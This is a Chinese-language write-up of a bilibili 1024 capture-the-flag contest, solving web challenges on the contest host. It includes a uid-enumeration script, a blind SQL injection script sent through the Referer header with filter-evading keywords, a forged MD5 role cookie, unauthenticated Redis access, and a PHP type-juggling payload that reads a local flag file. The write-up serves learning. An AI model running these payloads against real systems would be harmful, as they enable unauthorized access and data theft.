这是我打过最不按常理出牌的一次CTF了

CTF(x) 脑筋急转弯(✓)

 

第一题&第二题

一个页面,两道题。

打开来就是这个页面:

image-20201026150252797

 

页面的背后是什么

CTRL+U 查看网页源代码,这就是第一题的题目了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
    $.ajax({
    url: "api/admin",
    type: "get",
    success:function (data) {
        //console.log(data);
        if (data.code == 200){
            // 如果有值:前端跳转
            var input = document.getElementById("flag1");
            input.value = String(data.data);
        } else {
            // 如果没值
            $('#flag1').html("接口异常,请稍后再试~");
        }
    }
})

直接 GET 访问 /api/admin 这个地址就能拿到第一个flag了

image-20201026151139457

 

真正的秘密只有特殊的设备才能看到

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$.ajax({
    url: "api/ctf/2",
    type: "get",
    success:function (data) {
        //console.log(data);
        if (data.code == 200){
            // 如果有值:前端跳转
            $('#flag2').html("flag2: " + data.data);
        } else {
            // 如果没值
            $('#flag2').html("需要使用bilibili Security Browser浏览器访问~");
        }
    }
})

第二题要求用 bilibili Security Browser 去访问,那就直接用 bilibili Security Browser 作为 User-Agent 请求 API 即可

新建一个 User-Agent ,值为 bilibili Security Browser

image-20201026151730490

然后去访问这个 API 地址

image-20201026152013321

 

第三题:密码是啥?

访问地址是一个登陆框

image-20201026152309178

跑了好几本字典也没跑出来密码。最后别人告诉我,密码是bilibili。。。。。这。。。真就靠猜诶

账号admin,密码bilibili

image-20201026152618841

 

第四题:对不起,权限不足~

访问页面

image-20201026152901884

查看下源代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
	  $.ajax({
        url: "api/ctf/4",
        type: "get",
        success:function (data) {
            console.log(data);
            if (data.code == 200){
                // 如果有值:前端跳转
                $('#flag').html("欢迎超级管理员登陆~答案是 : {{ " + data.data + " }}".toLowerCase() )
            } else {
                // 如果没值
                $('#flag').html("有些秘密只有超级管理员才能看见哦~")
            }
        }
    })

查看下提示权限不足,看看 Cookie 有没有啥提示

image-20201026153440285

第二个 session 是我bilibili账号的 Cookie ,那看来应该就是 role 没跑了

md5 解一下 role 的值为 user ,都懂应该要怎么办了吧

网页提示超级管理员,我尝试了 superadmin , admin , root , system , adminsitrator 都不行(这里有个坑,a得大写才OK,别问我怎么知道的😭)

Administrator=7b7bc2512ee1fedcd76bdc68926d4f7b

image-20201026154341228

刷新下页面

image-20201026154457130

 

第五题:别人的秘密

访问页面

image-20201026154659905

查看源代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
        $(function () {
        
            
            (function ($) {
                $.getUrlParam = function(name) {
                    var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
                    var r = window.location.search.substr(1).match(reg);
                    if (r != null) return unescape(r[2]); return null;
                }
            })(jQuery);
        
            var uid = $.getUrlParam('uid');
            if (uid == null) {
                uid = 100336889;
            }
            $.ajax({
                url: "api/ctf/5?uid=" + uid,
                type: "get",
                success:function (data) {
                    console.log(data);
                    if (data.code == 200){
                        // 如果有值:前端跳转
                        $('#flag').html("欢迎超级管理员登陆~flag : " + data.data )
                    } else {
                        // 如果没值
                        $('#flag').html("这里没有你想要的答案~")
                    }
                }
            })
        });

这代码的意思是从 uid=100336889 开始向后遍历,当 uid 的值为超级管理员时,输出 flag

写个脚本跑一下叭(新手,代码写的不好)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import requests

uid = 100336889
while True:
    uid = uid + 1

    url = "http://45.113.201.36/api/ctf/5?uid=" + str(uid)
    print(url)

    headers = {
        'cookie': 'session=自己哔哩哔哩的Cookie;'
    }
    res = requests.get(url,headers = headers)
    code = res.status_code
    print(res.text)
    if '200' in res.text:
        exit()
image-20201026205745861

 

第六题到第十题

第六题:结束亦是开始

image-20201026170502261

开局一张图,解法全靠猜

一个页面,文章标题、内容、分类、标签全部都是null;评论框是用 HTML5 表单做的、什么都不能提交

url 的格式是 /blog/single.php?id=1 猜测可能是 sql注入,但是 sqlmap 啥也没跑出来

后面经过大佬提示是 referer 注入,贴上脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
import requests
url='http://45.113.201.36/blog/single.php?id=1'
flag=''
for i in range(1,100):
    left=33
    right=128

    while right-left!=1:
        mid=(left+right)//2
        payload="0123'^if(substr((selselectect flag from flag),{i},1)>binary {mid},(selecselectt 1+~0),0) ununionion selecselectt 1,2#".format(i=i,mid=hex(mid))
        headers={
        'Referer':payload
        }
        r=requests.get(url=url,headers=headers)
        if len(r.text) == 5596:
            left=mid
        else:
            right=mid
    flag+=chr(right)
    print (flag)

 

第八题

nmap 扫端口扫出来,发现 6379 端口开放,当然就是 redis未授权访问啦

1
redis-cli -h 45.113.201.36 -p 6379

image-20201026183457415

 

第十题

dirsearch 扫目录,扫出来 test.php 的页面

image-20201026201007437

访问发现是 jsfuck

image-20201026201236479

复制到浏览器运行一下

image-20201026201527561

其中的 unicode 解码完是程序员最多的地方

image-20201026201650682

程序员最多的地方当然是 gayhub 了。去 GitHub 上搜索 bilibili1024havefun 很容易就可以找到这个仓库 interesting-1024/end:

image-20201026202216804

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

//filename end.php

$bilibili = "bilibili1024havefun";

$str = intval($_GET['id']);
$reg = preg_match('/\d/is', $_GET['id']);

if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){
	$content = file_get_contents($_GET['url']);
	
	//文件路径猜解
	if (false){
		echo "还差一点点啦~";
	}else{
		echo $flag;
	}
}else{
	echo "你想要的不在这儿~";
}
?>

这道题考察的是 is_numericintval 如何绕过、以及 $_GET 的一些脑洞。CTF中常见PHP特性学习笔记

Payload:

1
/blog/end.php?id[]=x&id[]=0.1&url=./flag.txt

之后会得到一张图片

image-20201026203617619

保存到本地,然后以文本的方式打开,flag 就在最后一行

image-20201026203716409